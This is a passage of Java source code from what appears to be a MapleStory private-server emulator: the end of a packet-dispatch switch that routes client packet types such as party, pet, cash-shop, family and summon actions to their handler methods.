case QUICK_MOVE_SPECIAL:
NPCHandler.OpenQuickMoveSpecial(slea, c);
break;
case BBS_OPERATION:
BBSHandler.BBSOperation(slea, c);
break;
case PARTY_OPERATION:
PartyHandler.PartyOperation(slea, c);
break;
case DENY_PARTY_REQUEST:
PartyHandler.DenyPartyRequest(slea, c);
break;
case ALLOW_PARTY_INVITE:
PartyHandler.AllowPartyInvite(slea, c);
break;
case BUDDYLIST_MODIFY:
BuddyListHandler.BuddyOperation(slea, c);
break;
case CYGNUS_SUMMON:
UserInterfaceHandler.CygnusSummon_NPCRequest(c);
break;
case SHIP_OBJECT:
UserInterfaceHandler.ShipObjectRequest(slea.readInt(), c);
break;
case BUY_CS_ITEM:
CashShopOperation.BuyCashItem(slea, c, c.getPlayer());
break;
case CS_GIFT:
CashShopOperation.sendCSgift(slea, c);
break;
case COUPON_CODE:
slea.skip(2);
String code = slea.readMapleAsciiString();
CashShopOperation.CouponCode(code, c);
// CashShopOperation.doCSPackets(c);
break;
case CASH_CATEGORY:
CashShopOperation.SwitchCategory(slea, c);
break;
case TWIN_DRAGON_EGG:
System.out.println("TWIN_DRAGON_EGG: " + slea.toString());
final CashItemInfo item = CashItemFactory.getInstance().getItem(10003055);
Item itemz = c.getPlayer().getCashInventory().toItem(item);
//Aristocat c.getSession().write(CSPacket.sendTwinDragonEgg(true, true, 38, itemz, 1));
break;
case XMAS_SURPRISE:
System.out.println("XMAS_SURPRISE: " + slea.toString());
break;
case CS_UPDATE:
CashShopOperation.CSUpdate(c);
break;
case USE_POT:
ItemMakerHandler.UsePot(slea, c);
break;
case CLEAR_POT:
ItemMakerHandler.ClearPot(slea, c);
break;
case FEED_POT:
ItemMakerHandler.FeedPot(slea, c);
break;
case CURE_POT:
ItemMakerHandler.CurePot(slea, c);
break;
case REWARD_POT:
ItemMakerHandler.RewardPot(slea, c);
break;
case DAMAGE_SUMMON:
slea.skip(4);
SummonHandler.DamageSummon(slea, c.getPlayer());
break;
case MOVE_SUMMON:
SummonHandler.MoveSummon(slea, c.getPlayer());
break;
case MOVE_DRAGON:
SummonHandler.MoveDragon(slea, c.getPlayer());
break;
case SUB_SUMMON:
SummonHandler.SubSummon(slea, c.getPlayer());
break;
case REMOVE_SUMMON:
SummonHandler.RemoveSummon(slea, c);
break;
case SPAWN_PET:
PetHandler.SpawnPet(slea, c, c.getPlayer());
break;
case MOVE_PET:
PetHandler.MovePet(slea, c.getPlayer());
break;
case PET_CHAT:
//System.out.println("Pet chat: " + slea.toString());
if (slea.available() < 8) {
break;
}
final int petid = c.getPlayer().getPetIndex(slea.readInt());
c.getPlayer().updateTick(slea.readInt());
PetHandler.PetChat(petid, slea.readShort(), slea.readMapleAsciiString(), c.getPlayer());
break;
case PET_COMMAND:
MaplePet pet;
pet = c.getPlayer().getPet(c.getPlayer().getPetIndex(slea.readInt()));
slea.readByte(); //always 0?
if (pet == null) {
return;
}
PetHandler.PetCommand(pet, PetDataFactory.getPetCommand(pet.getPetItemId(), slea.readByte()), c, c.getPlayer());
break;
case PET_FOOD:
PetHandler.PetFood(slea, c, c.getPlayer());
break;
case PET_LOOT:
//System.out.println("PET_LOOT ACCESSED");
InventoryHandler.Pickup_Pet(slea, c, c.getPlayer());
break;
case PET_AUTO_POT:
PetHandler.Pet_AutoPotion(slea, c, c.getPlayer());
break;
case MONSTER_CARNIVAL:
MonsterCarnivalHandler.MonsterCarnival(slea, c);
break;
case PACKAGE_OPERATION:
PackageHandler.handleAction(slea, c);
break;
case USE_HIRED_MERCHANT:
HiredMerchantHandler.UseHiredMerchant(c, true);
break;
case MERCH_ITEM_STORE:
HiredMerchantHandler.MerchantItemStore(slea, c);
break;
case CANCEL_DEBUFF:
// Ignore for now
break;
case MAPLETV:
break;
case LEFT_KNOCK_BACK:
PlayerHandler.leftKnockBack(slea, c);
break;
case SNOWBALL:
PlayerHandler.snowBall(slea, c);
break;
case COCONUT:
PlayersHandler.hitCoconut(slea, c);
break;
case REPAIR:
NPCHandler.repair(slea, c);
break;
case REPAIR_ALL:
NPCHandler.repairAll(c);
break;
case BUY_SILENT_CRUSADE:
PlayersHandler.buySilentCrusade(slea, c);
break;
//case GAME_POLL:
// UserInterfaceHandler.InGame_Poll(slea, c);
// break;
case OWL:
InventoryHandler.Owl(slea, c);
break;
case OWL_WARP:
InventoryHandler.OwlWarp(slea, c);
break;
case USE_OWL_MINERVA:
InventoryHandler.OwlMinerva(slea, c);
break;
case RPS_GAME:
NPCHandler.RPSGame(slea, c);
break;
case UPDATE_QUEST:
NPCHandler.UpdateQuest(slea, c);
break;
case USE_ITEM_QUEST:
NPCHandler.UseItemQuest(slea, c);
break;
case FOLLOW_REQUEST:
PlayersHandler.FollowRequest(slea, c);
break;
case AUTO_FOLLOW_REPLY:
case FOLLOW_REPLY:
PlayersHandler.FollowReply(slea, c);
break;
case RING_ACTION:
PlayersHandler.RingAction(slea, c);
break;
case REQUEST_FAMILY:
FamilyHandler.RequestFamily(slea, c);
break;
case OPEN_FAMILY:
FamilyHandler.OpenFamily(slea, c);
break;
case FAMILY_OPERATION:
FamilyHandler.FamilyOperation(slea, c);
break;
case DELETE_JUNIOR:
FamilyHandler.DeleteJunior(slea, c);
break;
case DELETE_SENIOR:
FamilyHandler.DeleteSenior(slea, c);
break;
case USE_FAMILY:
FamilyHandler.UseFamily(slea, c);
break;
case FAMILY_PRECEPT:
FamilyHandler.FamilyPrecept(slea, c);
break;
case FAMILY_SUMMON:
FamilyHandler.FamilySummon(slea, c);
break;
case ACCEPT_FAMILY:
FamilyHandler.AcceptFamily(slea, c);
break;
case SOLOMON:
PlayersHandler.Solomon(slea, c);
break;
case GACH_EXP:
PlayersHandler.GachExp(slea, c);
break;
case MEMBER_SEARCH:
PartyHandler.MemberSearch(slea, c);
break;
case PARTY_SEARCH:
PartyHandler.PartySearch(slea, c);
break;
case EXPEDITION_LISTING:
PartyHandler.PartyListing(slea, c);
break;
case EXPEDITION_OPERATION:
PartyHandler.Expedition(slea, c);
break;
case USE_TELE_ROCK:
InventoryHandler.TeleRock(slea, c);
break;
case AZWAN_REVIVE:
PlayersHandler.reviveAzwan(slea, c);
break;
case PLAYER_UPDATE:
break;
case INNER_CIRCULATOR:
InventoryHandler.useInnerCirculator(slea, c);
break;
case PAM_SONG:
InventoryHandler.PamSong(slea, c);
break;
case REPORT:
PlayersHandler.Report(slea, c);
break;
//working
case CANCEL_OUT_SWIPE:
slea.readInt();
break;
//working
case VIEW_SKILLS:
PlayersHandler.viewSkills(slea, c);
break;
//working
case SKILL_SWIPE:
PlayersHandler.StealSkill(slea, c);
break;
case CHOOSE_SKILL:
PlayersHandler.ChooseSkill(slea, c);
break;
case MAGIC_WHEEL:
System.out.println("[MAGIC_WHEEL] [" + slea.toString() + "]");
PlayersHandler.magicWheel(slea, c);
break;
case REWARD:
PlayersHandler.onReward(slea, c);
break;
case BLACK_FRIDAY:
PlayersHandler.blackFriday(slea, c);
case UPDATE_RED_LEAF:
PlayersHandler.updateRedLeafHigh(slea, c);
break;
case SPECIAL_STAT:
PlayersHandler.updateSpecialStat(slea, c);
break;
case UPDATE_HYPER:
StatsHandling.DistributeHyper(slea, c, c.getPlayer());
break;
case RESET_HYPER:
StatsHandling.ResetHyper(slea, c, c.getPlayer());
break;
case DF_COMBO:
PlayerHandler.absorbingDF(slea, c);
break;
case EXIT_GAME:
c.getSession().write(CField.exitGame());
break;
case BACK_TO_CHARLIST:
InterServerHandler.BackToCharList(slea, c);
break;
case MESSENGER_RANKING:
PlayerHandler.MessengerRanking(slea, c, c.getPlayer());
break;
case OS_INFORMATION:
System.out.println(c.getSessionIPAddress());
break;
// case BUFF_RESPONSE://wat does it do?
// break;
case BUTTON_PRESSED:
break;
case CASSANDRAS_COLLECTION:
PlayersHandler.CassandrasCollection(slea, c);
break;
case LUCKY_LUCKY_MONSTORY:
PlayersHandler.LuckyLuckyMonstory(slea, c);
break;
case CHRONOSPHERE:
PlayersHandler.UseChronosphere(slea, c, c.getPlayer());
break;
case GUIDE_TRANSFER:
PlayerHandler.GuildTransfer(slea, c, c.getPlayer());//遊戲嚮導
break;
case ALLOW_PET_LOOT:
PetHandler.AllowPetLoot(slea, c, c.getPlayer());
break;
case ARROW_BLASTER_ACTION:
PlayerHandler.ArrowBlasterAction(slea, c, c.getPlayer());
break;
case SYSTEM_PROCESS_LIST:
SystemProcess.SystemProcess(slea, c, c.getPlayer());
break;
case LOAD_PLAYER_SCCUCESS:
PlayerHandler.LoadPlayerSuccess(c, c.getPlayer());
break;
case ATTACK_ON_TITAN_SELECT:
if (c.getPlayer().getMapId() != 814000000) {
break;
}
int select = slea.readInt();
if (select == 0) {
select = 814000600;
} else if (select == 1) {
select = 814010000;
} else {
select = 814030000;
}
final MapleMap mapz = ChannelServer.getInstance(c.getChannel()).getMapFactory().getMap(select);
c.getPlayer().changeMap(mapz, mapz.getPortal(0));
break;
default:
System.err.println("[發現未處理數據包] Recv [" + header.toString() + "]");
break;
}
}
}